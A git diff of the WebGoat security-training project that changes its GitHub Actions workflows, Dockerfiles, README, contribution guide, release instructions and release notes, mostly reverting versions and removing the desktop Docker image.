label test

2022-07-14 18:31:20 +02:00
770 changed files with 17233 additions and 20289 deletions
--- a/.dockerignore
+++ b/.dockerignore
@ -1,4 +1,3 @@
 **

 !/target
-!/config/desktop
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@ -1,15 +1,7 @@
 version: 2
 updates:
-    -   package-ecosystem: "github-actions"
-        directory: "/"
-        schedule:
-            interval: "weekly"
-    -   package-ecosystem: "maven"
-        directory: "/"
-        schedule:
-            interval: "weekly"
-    -   package-ecosystem: "docker"
-        directory: "/"
-        schedule:
-            interval: "weekly"
-
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "daily"
--- a/.github/stale.yml
+++ b/.github/stale.yml
@ -2,7 +2,7 @@
 daysUntilStale: 90
 daysUntilClose: 14
 onlyLabels:
-  - waiting for input
+  - waiting-for-input
  - wontfix
 staleLabel: stale
 markComment: >
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@ -1,60 +1,72 @@
-name: "Pull requests build"
+name: "Build"
 on:
-    pull_request:
-        paths-ignore:
-            - '.txt'
-            - 'LICENSE'
-            - 'docs/**'
+  pull_request:
+    paths-ignore:
+      - '.txt'
+      - '*.MD'
+      - '*.md'
+      - 'LICENSE'
+      - 'docs/**'
+  push:
+    branches:
+      - main
+      - develop
+      - release/*
+    tags-ignore:
+      - '*'
+    paths-ignore:
+      - '.txt'
+      - '*.MD'
+      - '*.md'
+      - 'LICENSE'
+      - 'docs/**'

 jobs:
-    pr-build:
-        if: >
-            github.event_name == 'pull_request' && !github.event.pull_request.draft && (
-              github.event.action == 'opened' ||
-              github.event.action == 'reopened' ||
-              github.event.action == 'synchronize' 
-            )
-        runs-on: ${{ matrix.os }}
-        strategy:
-            matrix:
-                os: [ ubuntu-latest, windows-latest, macos-latest ]
-        steps:
-            -   uses: actions/checkout@v3
-            -   name: Set up JDK 17
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: 17
-                    architecture: x64
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.3.1
-                with:
-                    path: ~/.m2
-                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ${{ runner.os }}-m2-
-            -   name: Build with Maven
-                run: mvn --no-transfer-progress verify
-            -   name: "Set up QEMU"
-                if: runner.os == 'Linux'
-                uses: docker/setup-qemu-action@v2.1.0
-            -   name: "Set up Docker Buildx"
-                if: runner.os == 'Linux'
-                uses: docker/setup-buildx-action@v2
-            -   name: "Verify Docker WebGoat build"
-                if: runner.os == 'Linux'
-                uses: docker/build-push-action@v4.1.0
-                with:
-                    context: ./
-                    file: ./Dockerfile
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
-            -   name: "Verify Docker WebGoat desktop build"
-                uses: docker/build-push-action@v4.1.0
-                if: runner.os == 'Linux'
-                with:
-                    context: ./
-                    file: ./Dockerfile_desktop
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 
+  pr-build:
+    if: >
+      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
+        github.event.action == 'opened' ||
+        github.event.action == 'reopened' ||
+        github.event.action == 'synchronize' 
+      )
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+    steps:
+      - uses: actions/checkout@v3
+      - name: Set up JDK 17
+        uses: actions/setup-java@v3
+        with:
+          distribution: 'temurin'
+          java-version: 17
+          architecture: x64
+      - name: Cache Maven packages
+        uses: actions/cache@v3.0.5
+        with:
+          path: ~/.m2
+          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+          restore-keys: ${{ runner.os }}-m2-
+      - name: Build with Maven
+        run: mvn --no-transfer-progress package
+
+  build:
+    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
+    runs-on: ubuntu-latest
+    name: "Branch build"
+    steps:
+        - uses: actions/checkout@v3
+        - name: set up JDK 17
+          uses: actions/setup-java@v3
+          with:
+              distribution: 'temurin'
+              java-version: 17
+              architecture: x64
+        - name: Cache Maven packages
+          uses: actions/cache@v3.0.5
+          with:
+              path: ~/.m2
+              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+              restore-keys: ubuntu-latest-m2-
+        - name: Test with Maven
+          run: mvn --no-transfer-progress verify
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@ -13,15 +13,19 @@ jobs:
    steps:
      - uses: actions/checkout@v3

-      - name: Set up JDK 17
+      - name: "Get tag name"
+        id: tag
+        uses: dawidd6/action-get-tag@v1
+
+      - name: Set up JDK 15
        uses: actions/setup-java@v3
        with:
-          distribution: 'temurin'
-          java-version: 17
+          distribution: 'zulu'
+          java-version: 15
          architecture: x64

      - name: Cache Maven packages
-        uses: actions/cache@v3.3.1
+        uses: actions/cache@v3.0.5
        with:
          path: ~/.m2
          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@ -29,8 +33,8 @@ jobs:

      - name: "Set labels for ${{ github.ref }}"
        run: |
-          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
+          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
+          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
          echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
      - name: Build with Maven
        run: |
@ -42,7 +46,7 @@ jobs:
        with:
          draft: false
          files: |
-            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
          body: |
            ## Version ${{ steps.tag.outputs.tag }}

@ -54,8 +58,6 @@ jobs:

            - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)

-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}  
-

            ## Contributors

@ -72,7 +74,7 @@ jobs:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.1.0
+        uses: docker/setup-qemu-action@v2.0.0
        with:
          platforms: all

@ -80,13 +82,13 @@ jobs:
        uses: docker/setup-buildx-action@v2

      - name: "Login to dockerhub"
-        uses: docker/login-action@v2.2.0
+        uses: docker/login-action@v2.0.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

-      - name: "Build and push WebGoat"
-        uses: docker/build-push-action@v4.1.0
+      - name: "Build and push"
+        uses: docker/build-push-action@v3.0.0
        with:
          context: ./
          file: ./Dockerfile
@ -98,51 +100,37 @@ jobs:
          build-args: |
            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

-      - name: "Build and push WebGoat desktop"
-        uses: docker/build-push-action@v4.1.0
-        with:
-          context: ./
-          file: ./Dockerfile_desktop
-          push: true
-          platforms: linux/amd64, linux/arm64
-          tags: |
-            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/webgoat-desktop:latest
-          build-args: |
-            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
+      - name: "Image digest"
+        run: echo ${{ steps.docker_build.outputs.digest }}
  new_version:
+    permissions:
+      contents: write  # for Git to git push
    if: github.repository == 'WebGoat/WebGoat'
-    name: Update to next SNAPSHOT version
+    name: Update development version
    needs: [ release ]
    runs-on: ubuntu-latest
+    environment:
+      name: release
    steps:
      - uses: actions/checkout@v3
        with:
-          fetch-depth: 0
+          ref: develop
+          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}

      - name: Set up JDK 17
        uses: actions/setup-java@v3
        with:
-          distribution: 'temurin'
          java-version: 17
          architecture: x64

      - name: Set version to next snapshot
        run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
-
-      - name: Push the changes to new branch
-        uses: devops-infra/action-commit-push@v0.9.2
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            add_timestamp: true
-            commit_message: "Updating to the new development version"
-            force: false
-
-      - name: Create PR
-        uses: devops-infra/action-pull-request@v0.5.5
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            title: ${{ github.event.commits[0].message }}
-            target_branch: main
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit

+      - name: Commit pom.xml
+        run: |
+          git config user.name webgoat-github
+          git config user.email owasp.webgoat@gmail.com
+          find . -name 'pom.xml' | xargs git add
+          git commit -m "Updating to the new development version"
+          git push
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@ -1,67 +0,0 @@
-name: "UI-Test"
-on:
-    pull_request:
-        paths-ignore:
-            - 'LICENSE'
-            - 'docs/**'
-    push:
-        tags-ignore:
-            - 'v*'
-        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
-            - 'LICENSE'
-            - 'docs/**'
-
-jobs:
-    build:
-        runs-on: ubuntu-latest
-        # display name of the job
-        name: "Robot framework test"
-        steps:
-            # Uses an default action to checkout the code
-            -   uses: actions/checkout@v3
-            # Uses an action to add Python to the VM
-            -   name: Setup Pyton
-                uses: actions/setup-python@v4
-                with:
-                    python-version: '3.7'
-                    architecture: x64
-            # Uses an action to add JDK 17 to the VM (and mvn?)
-            -   name: set up JDK 17
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: 17
-                    architecture: x64
-            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.3.1
-                with:
-                    path: ~/.m2
-                    key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ubuntu-latest-m2-
-            -   uses: BSFishy/pip-action@v1
-                with:
-                    packages: |
-                        robotframework
-                        robotframework-SeleniumLibrary
-                        webdriver-manager
-                        selenium==4.9.1
-                    # TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
-            -   name: Run with Maven
-                run: mvn --no-transfer-progress spring-boot:run &
-            -   name: Wait to start
-                uses: ifaxity/wait-on-action@v1
-                with:
-                    resource: http://127.0.0.1:8080/WebGoat
-            -   name: Test with Robotframework
-                run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
-            # send report to forks only due to limits on permission tokens
-            -   name: Send report to commit
-                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-                uses: joonvena/robotframework-reporter-action@v2.1
-                with:
-                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                    report_path: 'robotreport'
--- a/.github/workflows/welcome.yml
+++ b/.github/workflows/welcome.yml
@ -10,7 +10,7 @@ jobs:
    if: github.repository == 'WebGoat/WebGoat'
    runs-on: ubuntu-latest
    steps:
-      - uses: actions/first-interaction@v1.1.1
+      - uses: actions/first-interaction@v1.1.0
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
--- a/.gitignore
+++ b/.gitignore
@ -55,5 +55,3 @@ webgoat.script
 TestClass.class
 **/*.flattened-pom.xml
 /.gitconfig
-
-webgoat.gitconfig
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@ -1,9 +1,7 @@
 # Contributing
-
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
-[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)

 This document describes how you can contribute to WebGoat. Please read it carefully.

@ -26,7 +24,7 @@ There are a couple of ways on how you can contribute to the project:
 Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
 The minimum requirements for code contributions are:

-1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
+1. The code _must_ be compliant with the configured Checkstyle and PMD rules.
 2. All new and changed code _should_ have a corresponding unit and/or integration test.
 3. New and changed lessons _must_ have a corresponding integration test.
 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
@ -40,26 +38,14 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 * If you are making spelling corrections in the docs, don't modify other files.
 * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.

+
 ### Write a good commit message

-* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
-
-  - fix:
-  - feat:
-  - build:
-  - chore:
-  - ci:
-  - docs:
-  - refactor:
-  - test:
-
-  Using this style of commits makes it possible to create our release notes automatically.
-
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)

 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.

-For example: `Fix #545` or `Closes #10`
+  For example: `Fix #545` or `Closes #10`

 ## How to set up your Contributor Environment

@ -68,39 +54,32 @@ For example: `Fix #545` or `Closes #10`
 3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
 4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:

-   ```bash
-   	$ git remote -v
-   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
-   	origin git@github.com:<your Github handle>/WebGoat.git (push)
+    ```bash
+    $ git remote -v
+    origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+    origin git@github.com:<your Github handle>/WebGoat.git (push)

-   	$ git remote add upstream git@github.com:WebGoat/WebGoat.git
+    $ git remote add upstream git@github.com:WebGoat/WebGoat.git

-   	$ git remote -v
-   	origin git@github.com:<your Github handle>/WebGoat.git (fetch)
-   	origin git@github.com:<your Github handle>/WebGoat.git (push)
-   	upstream git@github.com:OWASP/WebGoat.git (fetch)
-   	upstream git@github.com:OWASP/WebGoat.git (push)
-   ```
-
-   See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
+    $ git remote -v
+    origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+    origin git@github.com:<your Github handle>/WebGoat.git (push)
+    upstream git@github.com:OWASP/WebGoat.git (fetch)
+    upstream git@github.com:OWASP/WebGoat.git (push)
+    ```

+    See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
 5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
-
 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
-
 7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
-
 8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
-
 9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
-
 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
-
 11. When starting on a new PR in the future, make sure to always keep your local repo up to date:

    ```bash
    $ git fetch upstream
-    $ git merge upstream/main
+    $ git merge upstream/develop
    ```

    See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
--- a/CREATE_RELEASE.md
+++ b/CREATE_RELEASE.md
@ -1,21 +1,34 @@
 ## Release WebGoat

+
 ### Version numbers

-For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
-and 2023.01 in the `pom.xml`.
+For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
+ and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use 
+ `v8.0.0` in the `pom.xml`
 
 ### Release notes:
-
-Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
+Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of 
 committers.

+At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
+
 ```
-mvn versions:set 
-<< update release notes >>
-mvn verify
-git commit ....
-git tag v2023.01 
+git checkout develop
+git flow release start <version> 
+git flow release publish
+
+<<Make changes if necessary>>
+<<Update RELEASE_NOTES.md>>
+
+git flow release finish <version>
+git push origin develop
+git push origin main
 git push --tags
 ```

+Now Travis takes over and will create the release in Github and on Docker Hub.
+
+NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
+
+
--- a/13
+++ b/13
@ -1,11 +1,8 @@
-FROM docker.io/eclipse-temurin:19-jre-focal
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
+FROM docker.io/eclipse-temurin:17-jdk-focal

-RUN \
-  useradd -ms /bin/bash webgoat && \
-  chgrp -R 0 /home/webgoat && \
-  chmod -R g=u /home/webgoat
+RUN useradd -ms /bin/bash webgoat
+RUN chgrp -R 0 /home/webgoat
+RUN chmod -R g=u /home/webgoat

 USER webgoat

@ -27,8 +24,6 @@ ENTRYPOINT [ "java", \
   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
-   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
   "-Drunning.in.docker=true", \
   "-Dwebgoat.host=0.0.0.0", \
   "-Dwebwolf.host=0.0.0.0", \
--- a/34
+++ b/34
@ -1,34 +0,0 @@
-FROM lscr.io/linuxserver/webtop:ubuntu-xfce
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
-
-WORKDIR /config
-
-COPY target/webgoat-*.jar /config/webgoat.jar
-COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
-COPY config/desktop/start_zap.sh /config/start_zap.sh
-COPY config/desktop/WebGoat.txt /config/Desktop/
-
-RUN \
- case $(uname -m) in \
-  x86_64) ARCH=x64;; \
-  aarch64) ARCH=aarch64;; \
-  *) ARCH=unknown;; \
- esac && \
- curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
- tar zfxv ZAP_2.12.0_Linux.tar.gz && \
- rm -rf ZAP_2.12.0_Linux.tar.gz && \
- curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- chmod +x /config/start_webgoat.sh && \
- chmod +x /config/start_zap.sh && \
- apt-get update &&  \
- apt-get --yes install vim nano && \
- echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
- echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
-
-
-ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
-
-WORKDIR /config/Desktop
--- a/FAQ.md
+++ b/FAQ.md
@ -1,8 +0,0 @@
-# FAQ for development
-
-## Introduction
-
-### Integration tests fail
-
-Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
-
--- a/README.md
+++ b/README.md
@ -6,7 +6,6 @@
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
-[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)

 # Introduction

@ -28,55 +27,35 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*

-![WebGoat](docs/images/webgoat.png)
-
 # Installation instructions:

 For more details check [the Contribution guide](/CONTRIBUTING.md)

 ## 1. Run using Docker

-Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
-
 Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).

+The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
+
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
 ```

-If you want to reuse the container, give it a name:
+**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+
+
+## 2. Standalone
+
+Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)

 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
-```
-
-As long as you don't remove the container you can use:
-
-```shell
-docker start webgoat
-```
-
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
-
-## 2. Run using Docker with complete Linux Desktop
-
-Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
-
-```shell
-docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
-```
-
-## 3. Standalone
-
-Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
-
-```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+java -Dfile.encoding=UTF-8 -jar webgoat-8.2.3.jar 
 ```

 Click the link in the log to start WebGoat.

-## 4. Run from the sources
+## 3. Run from the sources

 ### Prerequisites:

@ -105,7 +84,7 @@ git checkout <<branch_name>>
 docker build -f Dockerfile . -t webgoat/webgoat
 ```

-Now we are ready to run the project. WebGoat is using Spring Boot.
+Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.

 ```Shell
 # On Linux/Mac:
@ -114,12 +93,10 @@ Now we are ready to run the project. WebGoat is using Spring Boot.
 ./mvnw.cmd spring-boot:run

 ```
+... you should be running WebGoat on localhost:8080/WebGoat momentarily

-... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.

-Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
-
-To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
+To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties file`:

 ```
 server.address=x.x.x.x
@ -130,16 +107,12 @@ server.address=x.x.x.x
 For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.

 For instance running as a jar on a Linux/macOS it will look like this:
-
 ```Shell
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.3-SNAPSHOT.jar
-```
+java -jar target/webgoat-8.2.3-SNAPSHOT.jar

 Or in a docker run it would (once this version is pushed into docker hub) look like this:
-
 ```Shell
-docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```
-
--- a/README_I18N.md
+++ b/README_I18N.md
@ -1,34 +0,0 @@
-# Multi language support in WebGoat
-
-WebGoat is mainly written in English, but it does support multiple languages.
-
-## Default language selection
-
-1. Current supported languages are: en, fr, de, nl
-2. The primary language is based on the language setting of the browser.
-3. If the language is not in the list of supported language, the language is English
-4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
-   1. After switching a language you are back at the Introduction page
-
-## Adding a new language
-
-The following steps are required when you want to add a new language
-
-1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
-   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
-2. 
-3. Add a flag image to src/main/resources/webgoat/static/css/img
-   1. See the main_new.html for a link to download flag resources
-4. Add a welcome page to the introduction lesson
-   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
-   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
-5. Translate the main labels
-   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
-   2. Translate the label values
-6. Optionally translate lessons by
-   1. Adding lang specifc adoc files in documentation folder of the lesson
-   2. Adding WebGoatLabels.properties of a specific language if you want to
-7. Run mvn clean to see if the LabelAndHintIntegration test passes
-8. Run WebGoat and verify that your own language and the other languages work as expected
-
-If you only want to translate more for a certain language, you only need to do step 4-8
--- a/RELEASE_NOTES.md
+++ b/RELEASE_NOTES.md
@ -1,32 +1,14 @@
 # WebGoat release notes 

-## Version 2023.4
+## Unreleased

 ### New functionality

- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
-
-### Bug fixes
-
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
-
-## Version 2023.3
-
-With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
-
-A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
-many more releases this year.
-
-### New functionality
-
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
+- New year's resolution: major refactoring of WebGoat to simplify the setup and improve building times.
 - Move away from multi-project setup:
-  * This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
-  * No longer add Maven dependencies in several places
-  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
+  - This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
+  - No longer add Maven dependencies in several places
+  - H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
 - More explicit paths in html files to reference `adoc` files, less magic.
 - Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
 - Add WebWolf button in WebGoat
@ -37,29 +19,6 @@ many more releases this year.
 - Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
 - Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
 - Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
-
-### Bug fixes
-
